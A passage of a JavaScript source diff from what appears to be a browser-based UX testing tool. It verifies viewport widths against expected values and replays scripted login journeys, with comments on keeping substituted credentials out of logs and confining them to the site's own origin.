if (payload && typeof payload === 'object' && !Array.isArray(payload)) return String(payload.url ?? '');
|
|
993
|
+
return String(payload ?? '');
|
|
994
|
+
}
|
|
995
|
+
|
|
996
|
+
/**
|
|
997
|
+
* Run one `eval` and read its payload.
|
|
998
|
+
* @returns {Promise<{ok: true, value: unknown}|{ok: false}>} `{ok: false}` on a
|
|
999
|
+
* non-zero exit, unparseable stdout, or an envelope with `success: false`
|
|
1000
|
+
* (which arrives at exit 0 — see {@link readCommandPayload}).
|
|
1001
|
+
*/
|
|
1002
|
+
async function evalJson(run, script) {
|
|
1003
|
+
return readEvalPayload(await run(['eval', String(script ?? ''), '--json']));
|
|
1004
|
+
}
|
|
1005
|
+
|
|
1006
|
+
/**
|
|
1007
|
+
* Apply one viewport entry and VERIFY it took effect (PRD § 5 device-mismatch risk).
|
|
1008
|
+
*
|
|
1009
|
+
* Verification is against an EXPECTATION, and there are exactly two sources for
|
|
1010
|
+
* one: an explicit `expected-width` on the viewport entry, or {@link DEVICE_WIDTHS}
|
|
1011
|
+
* for a device name whose width was measured. With neither, the viewport is
|
|
1012
|
+
* SKIPPED (`no-expected-width`) — it is not verified.
|
|
1013
|
+
*
|
|
1014
|
+
* The previous rule ("differ from the last accepted width") accepted whatever
|
|
1015
|
+
* the FIRST viewport measured, since there is no previous width then. That is
|
|
1016
|
+
* the PRD § 5 incident verbatim: an unknown device name leaves the previous
|
|
1017
|
+
* device in place (measured 2026-09-12), so the run would file desktop captures
|
|
1018
|
+
* under a `mobile` label — the exact mislabelling this verification exists to
|
|
1019
|
+
* prevent. A viewport that cannot be verified is worth less than no viewport.
|
|
1020
|
+
*
|
|
1021
|
+
* @returns {Promise<{ok: boolean, width: number|null, reason?: string}>}
|
|
1022
|
+
* `reason` ∈ `no-viewport-spec` | `apply-failed` | `measure-failed` |
|
|
1023
|
+
* `no-expected-width` | `width-mismatch`
|
|
1024
|
+
*/
|
|
1025
|
+
async function applyViewport(run, viewport, measuresNs) {
|
|
1026
|
+
const size = parseViewport(viewport?.viewport);
|
|
1027
|
+
let expected = Number.isFinite(Number(viewport?.['expected-width'])) ? Number(viewport['expected-width']) : null;
|
|
1028
|
+
let applyResult;
|
|
1029
|
+
if (size) {
|
|
1030
|
+
applyResult = await run(['set', 'viewport', String(size[0]), String(size[1])]);
|
|
1031
|
+
expected = expected ?? size[0];
|
|
1032
|
+
} else if (viewport?.device) {
|
|
1033
|
+
applyResult = await run(['set', 'device', String(viewport.device)]);
|
|
1034
|
+
expected = expected ?? DEVICE_WIDTHS[String(viewport.device)] ?? null;
|
|
1035
|
+
} else {
|
|
1036
|
+
return { ok: false, width: null, reason: 'no-viewport-spec' };
|
|
1037
|
+
}
|
|
1038
|
+
if (applyResult.code !== 0) return { ok: false, width: null, reason: 'apply-failed' };
|
|
1039
|
+
|
|
1040
|
+
const measuredRead = await evalJson(run, measuresNs.VIEWPORT_WIDTH_EVAL);
|
|
1041
|
+
if (!measuredRead.ok) return { ok: false, width: null, reason: 'measure-failed' };
|
|
1042
|
+
const measuredRaw = measuredRead.value;
|
|
1043
|
+
const measured = Number(measuredRaw && typeof measuredRaw === 'object' ? measuredRaw.innerWidth : measuredRaw);
|
|
1044
|
+
if (!Number.isFinite(measured)) return { ok: false, width: null, reason: 'measure-failed' };
|
|
1045
|
+
if (expected === null) return { ok: false, width: measured, reason: 'no-expected-width' };
|
|
1046
|
+
return measured === expected
|
|
1047
|
+
? { ok: true, width: measured }
|
|
1048
|
+
: { ok: false, width: measured, reason: 'width-mismatch' };
|
|
1049
|
+
}
|
|
1050
|
+
|
|
1051
|
+
/**
|
|
1052
|
+
* Replay one journey on one viewport and return its findings.
|
|
1053
|
+
*
|
|
1054
|
+
* Credentials: resolved only when the journey names a persona, substituted into
|
|
1055
|
+
* step TOKENS (after splitting, so a value containing spaces stays one argv
|
|
1056
|
+
* entry) and never written to any artefact — the screenshots are named by step
|
|
1057
|
+
* INDEX and the findings carry counts only.
|
|
1058
|
+
*
|
|
1059
|
+
* `startUrl` is resolved and origin-checked by `collect()` before any browser
|
|
1060
|
+
* exists ({@link resolveWithinOrigin}) — this function never turns manifest text
|
|
1061
|
+
* into a URL, which is what let an absolute off-origin `start` receive a
|
|
1062
|
+
* substituted password.
|
|
1063
|
+
*
|
|
1064
|
+
* @returns {Promise<{findings: object[], skipped: {what: string, reason: string}|null}>}
|
|
1065
|
+
*/
|
|
1066
|
+
async function runJourney({ run, journey, viewportName, startUrl, baseUrl, build, personas, envMap, shotsDir, relative, resolveCredentials }) {
|
|
1067
|
+
const name = String(journey?.name ?? 'journey');
|
|
1068
|
+
const maxSteps = Number(journey?.['max-steps']);
|
|
1069
|
+
const steps = Array.isArray(journey?.steps) ? journey.steps : [];
|
|
1070
|
+
const successPattern = journey?.success;
|
|
1071
|
+
let successRe = null;
|
|
1072
|
+
if (successPattern) {
|
|
1073
|
+
try {
|
|
1074
|
+
successRe = new RegExp(String(successPattern));
|
|
1075
|
+
} catch (error) {
|
|
1076
|
+
throw new CollectError('invalid-journey-success', `journey ${name}: success is not a valid regex (${error.message})`);
|
|
1077
|
+
}
|
|
1078
|
+
}
|
|
1079
|
+
|
|
1080
|
+
let credentials = null;
|
|
1081
|
+
if (journey?.persona) {
|
|
1082
|
+
const persona = personas.find((entry) => entry?.name === journey.persona);
|
|
1083
|
+
if (persona) {
|
|
1084
|
+
credentials = (resolveCredentials ?? defaultResolveCredentials)(persona, envMap);
|
|
1085
|
+
}
|
|
1086
|
+
}
|
|
1087
|
+
|
|
1088
|
+
const start = String(journey?.start ?? '/');
|
|
1089
|
+
const opened = await run(['open', startUrl]);
|
|
1090
|
+
if (opened.code !== 0) {
|
|
1091
|
+
// The journey never started, so `success: false` says nothing about the
|
|
1092
|
+
// product — filing `journey-failed` here would read as a UX defect and, on
|
|
1093
|
+
// the next run, as `fixed` once the page is reachable again.
|
|
1094
|
+
return { findings: [], skipped: skipEntry(`journey:${name}`, SKIP_REASONS.ROUTE_UNREACHABLE) };
|
|
1095
|
+
}
|
|
1096
|
+
let stepsRun = 0;
|
|
1097
|
+
let success = false;
|
|
1098
|
+
const shots = [];
|
|
1099
|
+
|
|
1100
|
+
{
|
|
1101
|
+
const hardCap = Number.isFinite(maxSteps) ? maxSteps + JOURNEY_STEP_OVERRUN : steps.length;
|
|
1102
|
+
for (const line of steps) {
|
|
1103
|
+
if (stepsRun >= hardCap) break;
|
|
1104
|
+
// Re-asserted here, not only in collect()'s pre-flight: a guard that
|
|
1105
|
+
// depends on its caller having run another guard is not a guard (BV-002).
|
|
1106
|
+
// Before substitution — the verb and the `open` location are manifest
|
|
1107
|
+
// text, and the assertion must never see a credential.
|
|
1108
|
+
const argv = assertStepArgv(splitStepLine(line), { baseUrl }).map(
|
|
1109
|
+
(token) => substituteCredentials(token, credentials),
|
|
1110
|
+
);
|
|
1111
|
+
if (argv.length === 0) continue;
|
|
1112
|
+
await run(argv);
|
|
1113
|
+
stepsRun += 1;
|
|
1114
|
+
const shot = path.join(shotsDir, `${screenshotName({ route: name, viewport: viewportName, variant: `step-${stepsRun}` })}.png`);
|
|
1115
|
+
await run(['screenshot', shot]);
|
|
1116
|
+
shots.push(relative(shot));
|
|
1117
|
+
if (await journeySucceeded(run, successRe)) {
|
|
1118
|
+
success = true;
|
|
1119
|
+
break;
|
|
1120
|
+
}
|
|
1121
|
+
}
|
|
1122
|
+
}
|
|
1123
|
+
|
|
1124
|
+
return {
|
|
1125
|
+
findings: journeyFindings({
|
|
1126
|
+
name,
|
|
1127
|
+
viewport: viewportName,
|
|
1128
|
+
stepsRun,
|
|
1129
|
+
maxSteps,
|
|
1130
|
+
success,
|
|
1131
|
+
build,
|
|
1132
|
+
evidence: { screenshots: shots, start },
|
|
1133
|
+
}),
|
|
1134
|
+
skipped: null,
|
|
1135
|
+
};
|
|
1136
|
+
}
|
|
1137
|
+
|
|
1138
|
+
/**
|
|
1139
|
+
* Substitute the two credential placeholders in ONE argv token. Never logged.
|
|
1140
|
+
*
|
|
1141
|
+
* Literal, global and single-pass (#1335): a STRING replacement argument
|
|
1142
|
+
* expands `$&`, `` $` ``, `$'` and `$$`, which would mangle a password holding
|
|
1143
|
+
* them, and `replace(string, …)` hits only the first occurrence. A replacer
|
|
1144
|
+
* function's return value is inserted verbatim, and one pass means a value
|
|
1145
|
+
* that itself contains a placeholder (an email holding `${LOGIN_PASSWORD}`) is
|
|
1146
|
+
* never substituted a second time.
|
|
1147
|
+
*/
|
|
1148
|
+
function substituteCredentials(token, credentials) {
|
|
1149
|
+
if (!credentials) return token;
|
|
1150
|
+
return token.replace(/\$\{LOGIN_(EMAIL|PASSWORD)\}/g, (_, key) =>
|
|
1151
|
+
key === 'EMAIL' ? (credentials.email ?? '') : (credentials.password ?? ''),
|
|
1152
|
+
);
|
|
1153
|
+
}
|
|
1154
|
+
|
|
1155
|
+
/** Test the journey `success` pattern against the current URL and the body text. */
|
|
1156
|
+
async function journeySucceeded(run, successRe) {
|
|
1157
|
+
if (!successRe) return false;
|
|
1158
|
+
const urlResult = await run(['get', 'url', '--json']);
|
|
1159
|
+
const urlRead = readCommandPayload(urlResult);
|
|
1160
|
+
if (urlRead.ok && successRe.test(readUrl(urlRead.value))) return true;
|
|
1161
|
+
const textResult = await run(['get', 'text', 'body']);
|
|
1162
|
+
return textResult.code === 0 && successRe.test(String(textResult.stdout ?? ''));
|
|
1163
|
+
}
|